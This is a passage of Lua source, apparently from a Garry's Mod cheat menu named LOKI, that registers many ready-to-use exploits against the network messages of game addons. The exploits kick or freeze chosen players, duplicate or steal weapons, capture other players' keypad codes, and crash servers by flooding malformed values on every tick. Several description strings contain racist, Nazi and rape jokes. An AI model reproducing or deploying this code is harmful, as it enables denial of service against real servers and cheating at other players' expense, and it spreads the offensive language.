7988 scan = function() return LOKI.ValidNetString( "RevivePlayer" ) end,
7989 OnEnable = function(var, sploit)
7990 for k, v in ipairs(LOKI.GetStored( "immortal_plyz", {} )) do
7991 if IsValid(v) then
7992 if(v:IsPlayer()) then
7993 LOKI.NetStart( sploit, "RevivePlayer")
7994 net.WriteEntity(v)
7995 net.SendToServer()
7996 end
7997 end
7998 end
7999 end,
8000 hooks = {
8001 CreateMove = function(tbl, sploit, varargs)
8002 local cmd = varargs[1]
8003 if(cmd:GetMouseX() == 0 && cmd:GetMouseY() == 0 && LOKI.LastAngles) then
8004 cmd:SetViewAngles(LOKI.LastAngles)
8005 else
8006 LOKI.LastAngles = cmd:GetViewAngles()
8007 end
8008 end,
8009 entity_killed = function(tbl, sploit, varargs)
8010 local data = varargs[1]
8011 local ent = Entity(data.entindex_killed)
8012 local t = LOKI.GetStored( "immortal_plyz", {} )
8013 if table.HasValue( t, ent ) then
8014 if(ent:IsPlayer()) then
8015 LOKI.NetStart( sploit, "RevivePlayer")
8016 net.WriteEntity(ent)
8017 net.SendToServer()
8018 end
8019 end
8020 end,
8021 player_spawn = function(tbl, sploit, varargs)
8022 local data = varargs[1]
8023 local ent = Player(data.userid)
8024 local t = LOKI.GetStored( "immortal_plyz", {} )
8025 if table.HasValue( t, ent ) then
8026 if(ent:IsPlayer()) then
8027 LOKI.NetStart( sploit, "RevivePlayer")
8028 net.WriteEntity(ent)
8029 net.SendToServer()
8030 end
8031 end
8032 end,
8033 },
8034 functions = {
8035 { typ = "players", addr = "immortal_plyz" },
8036 { typ = "bool", },
8037 },
8038} )
8039LOKI.AddExploit( "Zombie Mode", {
8040 desc = "Become immortal",
8041 severity = 1,
8042 bools = {enabled = false},
8043 status = 1,
8044 times_per_tick = 1,
8045 vars = {},
8046 scan = function() return LOKI.ValidNetString( "revival_revive_accept" ) end,
8047 hooks = {
8048 entity_killed = function(tbl, sploit, varargs)
8049 local data = varargs[1]
8050 local ent = Entity(data.entindex_killed)
8051 if(ent:IsPlayer() && ent == LOKI.GetLP()) then
8052 LOKI.NetStart( sploit, "revival_revive_accept")
8053 net.SendToServer()
8054 end
8055 end,
8056 },
8057 functions = {
8058 { typ = "bool", },
8059 },
8060} )
8061LOKI.AddExploit( "Zombie Mode", {
8062 desc = "Infect players with the T-Virus",
8063 severity = 1,
8064 bools = {enabled = false},
8065 status = 1,
8066 times_per_tick = 1,
8067 vars = {},
8068 scan = function() return LOKI.ValidNetString( "MakeZombie" ) end,
8069 hooks = {
8070 Think = function(tbl, sploit, varargs)
8071 for k, v in pairs(LOKI.GetStored("zomb_plyz", {})) do
8072 if(!IsValid(v)) then continue end
8073 LOKI.NetStart(sploit, "MakeZombie")
8074 net.WriteEntity(v)
8075 net.SendToServer()
8076 end
8077 end,
8078 },
8079 functions = {
8080 { typ = "players", addr = "zomb_plyz" },
8081 { typ = "bool", },
8082 },
8083} )
8084LOKI.AddExploit( "Zombie Mode", {
8085 desc = "Recover from any injury",
8086 severity = 1,
8087 bools = {enabled = false},
8088 status = 1,
8089 times_per_tick = 1,
8090 vars = {},
8091 scan = function() return LOKI.ValidNetString( "UseMedkit" ) end,
8092 hooks = {
8093 Think = function(tbl, sploit, varargs)
8094 for k, v in pairs(LOKI.GetStored("zomb2_plyz", {})) do
8095 if(!IsValid(v)) then continue end
8096 LOKI.NetStart(sploit, "UseMedkit")
8097 net.WriteEntity(v)
8098 net.SendToServer()
8099 end
8100 end,
8101 },
8102 functions = {
8103 { typ = "players", addr = "zomb2_plyz" },
8104 { typ = "bool", },
8105 },
8106} )
8107LOKI.AddExploit( "Zombie Mode", {
8108 desc = "Become immortal",
8109 severity = 1,
8110 bools = {enabled = false},
8111 status = 1,
8112 times_per_tick = 1,
8113 vars = {},
8114 scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
8115 hooks = {
8116 entity_killed = function(tbl, sploit, varargs)
8117 local data = varargs[1]
8118 local ent = Entity(data.entindex_killed)
8119 if(ent:IsPlayer() && ent == LOKI.GetLP()) then
8120 sploit.vars.pos = ent:GetPos()
8121 end
8122 end,
8123 player_spawn = function(tbl, sploit, varargs)
8124 local data = varargs[1]
8125 local ent = Player(data.userid)
8126 if(ent:IsPlayer() && ent == LOKI.GetLP() && sploit.vars.pos != Vector(0,0,0)) then
8127 LOKI.NetStart(sploit, "079ServerAction")
8128 net.WriteString("Move")
8129 net.WriteVector(sploit.vars.pos)
8130 net.SendToServer()
8131 sploit.vars.pos = Vector(0,0,0)
8132 end
8133 end,
8134 },
8135 functions = {
8136 { typ = "bool", },
8137 },
8138} )
8139LOKI.AddExploit( "Dupe Weapons", {
8140 desc = "Hold any gun and press button to dupe",
8141 severity = 1,
8142 bools = {enabled = false},
8143 status = 1,
8144 times_per_tick = math.huge,
8145 scan = function() return LOKI.ValidNetString( "ItemStoreSyncItem", "RevivePlayer" ) end,
8146 hooks = {
8147 Think = function(tbl, sploit)
8148 LOKI.RCC(sploit, "kill")
8149 LOKI.RCC(sploit, "darkrp", "invholster")
8150 LOKI.NetStart(sploit, "RevivePlayer", true)
8151 net.WriteEntity(LOKI.GetLP())
8152 net.SendToServer()
8153 end,
8154 },
8155 functions = {
8156 { typ = "func", Name = "Dupe" },
8157 },
8158} )
8159LOKI.AddExploit( "Dupe Weapons", {
8160 desc = "Disassemble your weapons then nurse them back to health",
8161 severity = 1,
8162 bools = {enabled = false},
8163 status = 2,
8164 times_per_tick = math.huge,
8165 scan = function() return LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" ) || istable(itemstore) end,
8166 hooks = {
8167 Think = function(tbl, sploit)
8168 if(LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" )) then
8169 LOKI.NetStart(sploit, {"ItemStoreSplit", "_ItemStoreSplit"})
8170 net.WriteUInt(LOKI.GetLP().InventoryID, 32)
8171 net.WriteUInt(tonumber(LOKI.GetStored( "dupe_index", 1 )), 32)
8172 net.WriteUInt(0, 32)
8173 net.SendToServer()
8174 else
8175 LOKI.RCC( "itemstore_split", LOKI.GetLP().InventoryID, tonumber(LOKI.GetStored( "dupe_index", 1 )), 0 )
8176 end
8177 end,
8178 },
8179 functions = {
8180 { typ = "float", Name = "Index", default = 1, min = 0, max = math.huge, addr = "dupe_index" },
8181 { typ = "func", Name = "Dupe"},
8182 },
8183} )
8184LOKI.AddExploit( "Freeze Players", {
8185 desc = "Freeze selected players next time they respawn",
8186 severity = 50,
8187 bools = {enabled = false},
8188 status = 1,
8189 times_per_tick = 1,
8190 vars = {},
8191 scan = function() return LOKI.ValidNetString( "NLR.ActionPlayer" ) end,
8192 hooks = {
8193 Think = function(tbl, sploit)
8194 for k, v in ipairs( LOKI.GetStored( "freeze_plyz", {} ) ) do
8195 if IsValid(v) then
8196 if(v:IsPlayer()) then
8197 LOKI.NetStart( sploit, "NLR.ActionPlayer")
8198 net.WriteEntity(v)
8199 net.SendToServer()
8200 end
8201 end
8202 end
8203 end,
8204 },
8205 functions = {
8206 { typ = "players", addr = "freeze_plyz" },
8207 { typ = "bool", },
8208 },
8209} )
8210LOKI.AddExploit( "Kick Exploit", {
8211 desc = "Kick selected players",
8212 severity = 1,
8213 bools = {enabled = false},
8214 status = 3,
8215 times_per_tick = 1,
8216 vars = {},
8217 scan = function() return LOKI.ValidNetString( "plyWarning" ) end,
8218 hooks = {
8219 Think = function(tbl, sploit)
8220 for k, v in ipairs( LOKI.GetStored( "kick_plyz", {} ) ) do
8221 if IsValid( v ) then
8222 if(v:IsPlayer()) then
8223 LOKI.NetStart( sploit, "plyWarning")
8224 net.WriteEntity(v)
8225 net.WriteString('You have to select a player before doing a action.')
8226 net.SendToServer()
8227 end
8228 end
8229 end
8230 end,
8231 },
8232 functions = {
8233 { typ = "players", addr = "kick_plyz" },
8234 { typ = "func", Name = "Kick" },
8235 },
8236} )
8237LOKI.AddExploit( "Kick Exploit", {
8238 desc = "Kick selected players",
8239 severity = 1,
8240 bools = {enabled = false},
8241 status = -1,
8242 times_per_tick = 1,
8243 vars = {},
8244 scan = function() return LOKI.ValidNetString( "NLRKick" ) end,
8245 hooks = {
8246 Think = function(tbl, sploit)
8247 for k, v in ipairs( LOKI.GetStored( "kick2_plyz", {} ) ) do
8248 if IsValid( v ) then
8249 if(v:IsPlayer()) then
8250 LOKI.NetStart( sploit, "NLRKick")
8251 net.WriteEntity(v)
8252 net.SendToServer()
8253 end
8254 end
8255 end
8256 end,
8257 },
8258 functions = {
8259 { typ = "players", addr = "kick2_plyz" },
8260 { typ = "func", Name = "Kick" },
8261 },
8262} )
8263LOKI.AddExploit( "Kick Exploit", {
8264 desc = "Kick selected players",
8265 severity = 1,
8266 bools = {enabled = false},
8267 status = -1,
8268 times_per_tick = 1,
8269 vars = {},
8270 scan = function() return LOKI.ValidNetString( "RecKickAFKer" ) end,
8271 hooks = {
8272 Think = function(tbl, sploit)
8273 for k, v in ipairs( LOKI.GetStored( "kick3_plyz", {} ) ) do
8274 if IsValid(v) then
8275 if(v:IsPlayer()) then
8276 LOKI.NetStart( sploit, "RecKickAFKer")
8277 net.WriteEntity(v)
8278 net.SendToServer()
8279 end
8280 end
8281 end
8282 end,
8283 },
8284 functions = {
8285 { typ = "players", addr = "kick3_plyz" },
8286 { typ = "func", Name = "Kick" },
8287 },
8288} )
8289LOKI.AddExploit( "Kick Exploit", {
8290 desc = "Kick all players",
8291 severity = 1,
8292 bools = {enabled = false},
8293 status = 2,
8294 times_per_tick = math.huge,
8295 scan = function() return (LOKI.ValidNetString( "simfphys_turnsignal" )) end,
8296 hooks = {
8297 Think = function(tbl, sploit)
8298 LOKI.NetStart( sploit, "simfphys_turnsignal")
8299 net.WriteEntity(LOKI.GetLP())
8300 net.SendToServer()
8301 end,
8302 },
8303 functions = {
8304 { typ = "bool", },
8305 },
8306} )
8307LOKI.AddExploit( "Kick Exploit", {
8308 desc = "Kick selected players",
8309 severity = 1,
8310 bools = {enabled = false},
8311 status = 2,
8312 times_per_tick = 1,
8313 vars = {},
8314 scan = function() return LOKI.ValidNetString( "send" ) end,
8315 hooks = {
8316 Think = function(tbl, sploit)
8317 for k, v in ipairs( LOKI.GetStored( "kick4_plyz", {} ) ) do
8318 if IsValid(v) then
8319 if(v:IsPlayer()) then
8320 LOKI.NetStart( sploit, "send")
8321 net.WriteTable({1})
8322 net.WriteTable({1})
8323 net.WriteEntity(v)
8324 net.WriteString("GET ODIUM.PRO")
8325 net.SendToServer()
8326 end
8327 end
8328 end
8329 end,
8330 },
8331 functions = {
8332 { typ = "players", addr = "kick4_plyz" },
8333 { typ = "func", Name = "Kick" },
8334 },
8335} )
8336LOKI.AddExploit( "Kick Exploit", {
8337 desc = "Kick selected players",
8338 severity = 1,
8339 bools = {enabled = false},
8340 status = 1,
8341 times_per_tick = math.huge,
8342 vars = {},
8343 scan = function() return LOKI.ValidNetString( "sendteslaeffect" ) end,
8344 hooks = {
8345 Think = function(tbl, sploit)
8346 for k, v in ipairs( LOKI.GetStored( "kick5_plyz", {} ) ) do
8347 if IsValid(v) then
8348 if(v:IsPlayer()) then
8349 LOKI.NetStart( sploit, "sendteslaeffect")
8350 net.WriteEntity(v)
8351 net.SendToServer()
8352 end
8353 end
8354 end
8355 end,
8356 },
8357 functions = {
8358 { typ = "players", addr = "kick5_plyz" },
8359 { typ = "bool" },
8360 },
8361} )
8362LOKI.AddExploit( "Respawn Exploit", {
8363 desc = "Respawn yourself",
8364 severity = 1,
8365 bools = {enabled = false},
8366 status = 1,
8367 times_per_tick = 1,
8368 vars = {},
8369 scan = function() return LOKI.DynamicNetString("DarkRP_", "_ForceSpawn") end,
8370 hooks = {
8371 Think = function(tbl, sploit)
8372 LOKI.NetStart( sploit, sploit.channel )
8373 net.SendToServer()
8374 end,
8375 },
8376 functions = {
8377 { typ = "func", Name = "Respawn", args = {}, },
8378 },
8379} )
8380LOKI.AddExploit( "Respawn Exploit", {
8381 desc = "Respawn yourself",
8382 severity = 1,
8383 bools = {enabled = false},
8384 status = 1,
8385 times_per_tick = 1,
8386 vars = {},
8387 scan = function() return LOKI.ValidNetString( "NLR_SPAWN" ) end,
8388 hooks = {
8389 Think = function(tbl, sploit)
8390 LOKI.NetStart( sploit, "NLR_SPAWN")
8391 net.WriteEntity(LOKI.GetLP())
8392 net.SendToServer()
8393 end,
8394 },
8395 functions = {
8396 { typ = "func", Name = "Respawn", args = {}, },
8397 },
8398} )
8399LOKI.AddExploit( "Steal Police Guns", {
8400 desc = "WE WUZ KANGZ ND SHIET!",
8401 severity = 1,
8402 bools = {enabled = false},
8403 status = 1,
8404 times_per_tick = 1,
8405 vars = {},
8406 scan = function() return LOKI.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
8407 hooks = {
8408 Think = function(tbl, sploit)
8409 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
8410 if(r_tbl.cooldown == 0) then
8411 r_tbl.cooldown = (LOKI.REAL_CURTIME + 300)
8412 end
8413 LOKI.NetStart( sploit, "ARMORY_RetrieveWeapon")
8414 net.WriteString("weapon" .. tbl[1])
8415 net.SendToServer()
8416 end,
8417 },
8418 functions = {
8419 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon1Name || "M16"), args = {1}, },
8420 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon2Name || "Shotgun"), args = {2}, },
8421 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon3Name || "Sniper"), args = {3}, },
8422 },
8423} )
8424LOKI.AddExploit( "Build/Kill", {
8425 desc = "Back in my day, we didn't need 'safe spaces'",
8426 severity = 1,
8427 bools = {enabled = false},
8428 status = 1,
8429 times_per_tick = 1,
8430 vars = {},
8431 scan = function() return LOKI.ValidNetString( "BuilderXToggleKill" ) end,
8432 hooks = {
8433 Think = function(tbl, sploit)
8434 for k, v in ipairs( LOKI.GetStored( "buildkill_plyz", {} ) ) do
8435 if !IsValid(v) then continue end
8436 if(tbl[1] == 1) then
8437 LOKI.NetStart( sploit, "BuilderXToggleBuild")
8438 net.WriteEntity(v)
8439 net.SendToServer()
8440 elseif(tbl[1] == 2) then
8441 LOKI.NetStart( sploit, "BuilderXToggleKill")
8442 net.WriteEntity(v)
8443 net.SendToServer()
8444 end
8445 end
8446 end,
8447 },
8448 functions = {
8449 { typ = "players", addr = "buildkill_plyz" },
8450 { typ = "func", Name = "Toggle Build", args = {1}, },
8451 { typ = "func", Name = "Toggle Kill", args = {2}, }
8452 },
8453} )
8454LOKI.AddExploit( "Keypad Hacker", {
8455 desc = "Roleplay as a Hacker by exploding all nearby keypads",
8456 severity = 1,
8457 bools = {enabled = false},
8458 status = 1,
8459 times_per_tick = 1,
8460 vars = {},
8461 prevalidated = true,
8462 scan = function() return LOKI.ValidNetString( "start_wd_emp" ) && wd_Config != nil end,
8463 hooks = {
8464 Think = function(tbl, sploit)
8465 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
8466 if(r_tbl.cooldown == 0) then
8467 r_tbl.cooldown = (LOKI.REAL_CURTIME + (wd_Config.EmpCooldown || 100))
8468 end
8469 LOKI.NetStart( sploit, "start_wd_emp")
8470 net.SendToServer()
8471 end,
8472 },
8473 functions = {
8474 { typ = "func", Name = "Hack", },
8475 },
8476} )
8477LOKI.AddExploit( "Ja, Mein Führer", {
8478 desc = "Submit candidacy for the Führer election",
8479 severity = 1,
8480 bools = {enabled = false},
8481 status = 1,
8482 times_per_tick = 1,
8483 vars = {},
8484 scan = function() return LOKI.ValidNetString( "1942_Fuhrer_SubmitCandidacy" ) end,
8485 hooks = {
8486 Think = function(tbl, sploit)
8487 LOKI.NetStart( sploit, "1942_Fuhrer_SubmitCandidacy")
8488 net.WriteString(LOKI.GetLP():Nick())
8489 net.SendToServer()
8490 end,
8491 },
8492 functions = {
8493 { typ = "func", Name = "Submit", },
8494 },
8495} )
8496LOKI.AddExploit( "Keypad Hacker", {
8497 desc = "Inspector gadget these fools",
8498 severity = 1,
8499 bools = {enabled = false},
8500 status = 1,
8501 times_per_tick = 1,
8502 vars = {},
8503 scan = function() return LOKI.DynamicNetString( "keypad" ) end,
8504 hooks = {
8505 PostRender = function(tbl, sploit)
8506 local e = LOKI.GetLP():GetEyeTrace().Entity
8507 if IsValid(e) and e.GetStatus then
8508 local text;
8509 local color;
8510 if(LOKI.KeypadCodes[e] && LOKI.KeypadCodes[e] != "") then
8511 text = LOKI.KeypadCodes[e];
8512 color = Color( 105, 255, 105, 150 )
8513 elseif(LOKI.TempKeypadCodes[e] && LOKI.TempKeypadCodes[e] != "") then
8514 text = LOKI.TempKeypadCodes[e];
8515 color = Color( 250, 150, 150, 150 )
8516 else
8517 text = "Unknown"
8518 color = Color(150,150,150,150)
8519 end
8520 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8521 surface.SetMaterial( grad )
8522 surface.DrawTexturedRect( ScrW() / 2 + 57, ScrH() / 2 - 7, 50, 15 )
8523 LOKI.DrawText(text, "DermaDefault", ScrW() / 2 + 60, ScrH() / 2, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8524 end
8525 for k,v in ipairs(LOKI.ents.FindByGlobal("GetStatus")) do
8526 if(v.GetNumStars && !v.GetText) then
8527 v.GetText = function() return string.rep('*', v:GetNumStars()) end
8528 end
8529 if(!v.GetSecure) then
8530 v.GetSecure = function() return true end
8531 end
8532 if IsValid(v) then
8533 if v != e and LOKI.GetLP():GetPos():Distance( v:GetPos() ) < 8000 then
8534 local pos = v:GetPos():ToScreen()
8535 if pos.x > 0 and pos.x < ScrW() and pos.y > 0 and pos.y < ScrH() then
8536 if (LOKI.KeypadCodes[v] && LOKI.KeypadCodes[v] != "") then
8537 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8538 surface.SetMaterial( grad )
8539 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8540 LOKI.DrawText( LOKI.KeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 105, 255, 105, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8541 else
8542 if(LOKI.TempKeypadCodes[v] && LOKI.TempKeypadCodes[v] != "") then
8543 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8544 surface.SetMaterial( grad )
8545 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8546 LOKI.DrawText( LOKI.TempKeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 250, 150, 150, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8547 else
8548 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8549 surface.SetMaterial( grad )
8550 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8551 LOKI.DrawText( "Unknown", "DermaDefault", pos.x + 5, pos.y + 6, Color(150,150,150,150), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8552 end
8553 end
8554 end
8555 end
8556 end
8557 end
8558 end,
8559 Tick = function(tbl, sploit)
8560 for k, v in ipairs( player.GetAll() ) do
8561 local kp = v:GetEyeTrace().Entity
8562 if IsValid(kp) && IsValid(v) and kp.GetStatus and v:EyePos():Distance(kp:GetPos()) <= 120 then
8563 LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp] or ""
8564 LOKI.KeypadText[kp] = LOKI.KeypadText[kp] or ""
8565 LOKI.KeypadStatus[kp] = LOKI.KeypadStatus[kp] or 0
8566
8567 if isfunction(kp.GetText) && isfunction(kp.GetStatus) && (kp:GetText() != LOKI.KeypadText[kp] or kp:GetStatus() != LOKI.KeypadStatus[kp]) then
8568 LOKI.KeypadText[kp] = kp:GetText()
8569 LOKI.KeypadStatus[kp] = kp:GetStatus()
8570 if(LOKI.KeypadText[kp] && !kp:GetSecure()) then
8571 LOKI.TempKeypadCodes[kp] = LOKI.KeypadText[kp]
8572 if LOKI.KeypadStatus[kp] == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
8573 LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
8574 if(!system.HasFocus()) then system.FlashWindow() end
8575 end
8576 else
8577 local i = LOKI.KPGetHoveredElement(v, kp)
8578 if (i) then i = i.text end
8579 if LOKI.KeypadText[kp] then
8580 if kp:GetStatus() == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
8581 LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
8582 if(!system.HasFocus()) then system.FlashWindow() end
8583 end
8584 end
8585
8586 if LOKI.KeypadText[kp] == "" || kp:GetStatus() == LOKI.GetKeypadStatus(kp)[3] then
8587 LOKI.TempKeypadCodes[kp] = ""
8588 end
8589
8590 if(LOKI.SafeToNumber(i) && (LOKI.SafeToNumber(i) > 0 && LOKI.SafeToNumber(i) < 10) && kp:GetText():len() != 0) then
8591 LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp]..LOKI.SafeToNumber(i)
8592 end
8593 end
8594 end
8595 end
8596 end
8597 end,
8598 },
8599 functions = {
8600 { typ = "bool", },
8601 },
8602} )
8603LOKI.AddExploit( "Server Crasher", {
8604 desc = "Guaranteed server crash",
8605 severity = 100,
8606 bools = {enabled = false},
8607 status = 1,
8608 times_per_tick = math.huge,
8609 vars = {},
8610 prevalidated = true,
8611 scan = function() return (LOKI.ValidNetString( "textstickers_entdata" ) || LOKI.ValidNetString( "texstickers_entdata" )) && TexStickers end,
8612 hooks = {
8613 Think = function(tbl, sploit)
8614 if(LOKI.ValidNetString( "textstickers_entdata" )) then
8615 LOKI.NetStart( sploit, "textstickers_entdata" )
8616 else
8617 LOKI.NetStart( sploit, "texstickers_entdata" )
8618 end
8619 net.WriteUInt( 0xFFFFFFFF, 32 )
8620 net.SendToServer()
8621 end,
8622 },
8623 functions = {
8624 { typ = "bool", },
8625 },
8626} )
8627LOKI.AddExploit( "Server Crasher", {
8628 desc = "Dunks the server in one",
8629 severity = 100,
8630 bools = {enabled = false},
8631 status = 1,
8632 times_per_tick = 1,
8633 vars = {},
8634 scan = function() return LOKI.ValidNetString( "fly_over_end" ) end,
8635 hooks = {
8636 Think = function(tbl, sploit)
8637 LOKI.NetStart( sploit, "fly_over_end" )
8638 net.WriteString(tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)))
8639 net.SendToServer()
8640 end,
8641 },
8642 functions = {
8643 { typ = "func", Name = "Crash Jackson", },
8644 },
8645} )
8646LOKI.AddExploit( "Server Crasher", {
8647 desc = "Instantly 1 tap the server",
8648 severity = 100,
8649 bools = {enabled = false},
8650 status = 3,
8651 times_per_tick = 1,
8652 vars = {},
8653 scan = function() return LOKI.ValidNetString( "SimplicityAC_aysent" ) end,
8654 hooks = {
8655 Think = function(tbl, sploit)
8656 LOKI.NetStart( sploit, "SimplicityAC_aysent")
8657 net.WriteUInt(1, 8)
8658 net.WriteUInt(0xFFFFFFFF, 32)
8659 net.WriteTable({})
8660 net.SendToServer()
8661 end,
8662 },
8663 functions = {
8664 { typ = "func", Name = "Crash it", },
8665 },
8666} )
8667LOKI.AddExploit( "Server Crasher", {
8668 desc = "Whoops, did I accidentally leave this in here?",
8669 severity = 100,
8670 bools = {enabled = false},
8671 status = 2,
8672 times_per_tick = math.huge,
8673 scan = function() return LOKI.ValidNetString( "rHit.Confirm.Placement" ) end,
8674 hooks = {
8675 Think = function(tbl, sploit)
8676 LOKI.NetStart( sploit, 'rHit.Confirm.Placement' )
8677 net.WriteInt( 0xFFFFFFFF, 32 )
8678 net.WriteEntity( LOKI.GetLP() )
8679 net.SendToServer()
8680 end,
8681 net = {
8682 Receive = function(sploit, strName)
8683 if(strName == "rHit.Send.Message") then
8684 return false
8685 end
8686 end,
8687 },
8688 },
8689 functions = {
8690 { typ = "bool", },
8691 },
8692} )
8693LOKI.AddExploit( "Server Crasher", {
8694 desc = "Brutal server rape",
8695 severity = 100,
8696 bools = {enabled = false},
8697 status = 1,
8698 times_per_tick = math.huge,
8699 scan = function() return LOKI.ValidNetString( "thiefnpc" ) || LOKI.ValidNetString( "cst_badnpc" ) end,
8700 hooks = {
8701 Think = function(tbl, sploit)
8702 if(LOKI.ValidNetString( "thiefnpc" )) then
8703 LOKI.NetStart( sploit, "thiefnpc")
8704 elseif(LOKI.ValidNetString( "cst_badnpc" )) then
8705 LOKI.NetStart( sploit, "cst_badnpc")
8706 else
8707 return
8708 end
8709 net.WriteDouble(LOKI.GetLP():EntIndex())
8710 net.SendToServer()
8711 end,
8712 },
8713 functions = {
8714 { typ = "bool", },
8715 },
8716} )
8717LOKI.AddExploit( "Server Crasher", {
8718 desc = "memset(SERVER, nullptr, size(SERVER) + 1)",
8719 severity = 100,
8720 bools = {enabled = false},
8721 status = 1,
8722 times_per_tick = math.huge,
8723 scan = function() return LOKI.ValidNetString( "nSetExpression" ) end,
8724 hooks = {
8725 Think = function(tbl, sploit)
8726 if(!sploit.var || sploit.var == 3) then
8727 sploit.var = 1
8728 else
8729 sploit.var = sploit.var + 1
8730 end
8731 LOKI.NetStart( sploit, "nSetExpression")
8732 net.WriteFloat(sploit.var)
8733 net.SendToServer()
8734 end,
8735 },
8736 functions = {
8737 { typ = "bool", },
8738 },
8739} )
8740LOKI.AddExploit( "Server Crasher", {
8741 desc = "*flex*",
8742 severity = 100,
8743 bools = {enabled = false},
8744 status = 1,
8745 times_per_tick = math.huge,
8746 msgs_per_tick = 2,
8747 prevalidated = true,
8748 scan = function() return LOKI.ValidNetString( "TowTruck_CreateTowTruck", "TOWTRUCK_RemoveTowTruck" ) end,
8749 hooks = {
8750 Think = function(tbl, sploit)
8751 LOKI.NetStart( sploit, "TowTruck_CreateTowTruck")
8752 net.SendToServer()
8753 LOKI.NetStart( sploit, "TOWTRUCK_RemoveTowTruck")
8754 net.SendToServer()
8755 end,
8756 usermessage = {
8757 IncomingMessage = function(sploit, varargs)
8758 if(varargs[1] == "_Notify") then
8759 return false
8760 end
8761 end,
8762 },
8763 },
8764 functions = {
8765 { typ = "bool", },
8766 },
8767} )
8768LOKI.AddExploit( "Server Crasher", {
8769 desc = tostring(LOKI.GetLP()) .. " hit SERVER in head for 100 damage",
8770 severity = 100,
8771 bools = {enabled = false},
8772 status = 2,
8773 times_per_tick = math.huge,
8774 scan = function() return LOKI.ValidNetString( "StaminaDrowning" ) end,
8775 hooks = {
8776 Think = function(tbl, sploit)
8777 LOKI.NetStart( sploit, "StaminaDrowning")
8778 net.SendToServer()
8779 end,
8780 },
8781 functions = {
8782 { typ = "bool", },
8783 },
8784} )
8785LOKI.AddExploit( "Server Crasher", {
8786 desc = "game.GetWorld():Activate()",
8787 severity = 100,
8788 bools = {enabled = false},
8789 status = 1,
8790 times_per_tick = math.huge,
8791 vars = {},
8792 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
8793 initial = function(sploit)
8794 local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
8795 if(!vars.NAME) then
8796 local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
8797 if(ItemsList) then
8798 for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
8799 if(!v.LoadData) then
8800 vars.NAME = v.NAME
8801 break
8802 end
8803 end
8804 end
8805 end
8806 end,
8807 hooks = {
8808 Think = function(tbl, sploit)
8809 local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
8810 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
8811 net.WriteTable({type = 6, ENTITY = "worldspawn", SKIN = 0, MODEL = "models/error.mdl", NAME = vars.NAME || "Beer"})
8812 net.WriteInt(0, 16)
8813 net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
8814 net.SendToServer()
8815 end,
8816 },
8817 functions = {
8818 { typ = "bool", Name = "Give me shit", },
8819 },
8820} )
8821--WUMAAccessStream has a ReadData related lag exploit
8822LOKI.AddExploit( "Server Crasher", {
8823 desc = "Crashes any server",
8824 severity = 100,
8825 bools = {enabled = false},
8826 status = 1,
8827 times_per_tick = math.huge,
8828 scan = function() return LOKI.ValidNetString( "npctool_relman_up" ) end,
8829 hooks = {
8830 Think = function(tbl, sploit)
8831 LOKI.NetStart(sploit, "npctool_relman_up")
8832 net.WriteUInt(-1, 12)
8833 net.SendToServer()
8834 end,
8835 },
8836 functions = {
8837 { typ = "bool" },
8838 },
8839} )
8840LOKI.AddExploit( "Server Crasher", {
8841 desc = "Overflow the server bathtub",
8842 severity = 100,
8843 bools = {enabled = false},
8844 status = 1,
8845 times_per_tick = math.huge,
8846 scan = function() return LOKI.ValidNetString( "CreateBadgeSpray" ) end,
8847 hooks = {
8848 Think = function(tbl, sploit)
8849 LOKI.NetStart( sploit, "CreateBadgeSpray")
8850 net.SendToServer()
8851 end,
8852 },
8853 functions = {
8854 { typ = "bool", },
8855 },
8856} )
8857LOKI.AddExploit( "Server Crasher", {
8858 desc = "Shred the server",
8859 severity = 100,
8860 bools = {enabled = false},
8861 status = 1,
8862 times_per_tick = math.huge,
8863 scan = function() return LOKI.ValidNetString( "CallP" ) end,
8864 hooks = {
8865 Think = function(tbl, sploit)
8866 LOKI.NetStart( sploit, "CallP" )
8867 net.WriteEntity(LOKI.GetLP())
8868 net.WriteBit(true)
8869 net.SendToServer()
8870 end,
8871 },
8872 functions = {
8873 { typ = "bool", },
8874 },
8875} )
8876LOKI.AddExploit( "Server Crasher", {
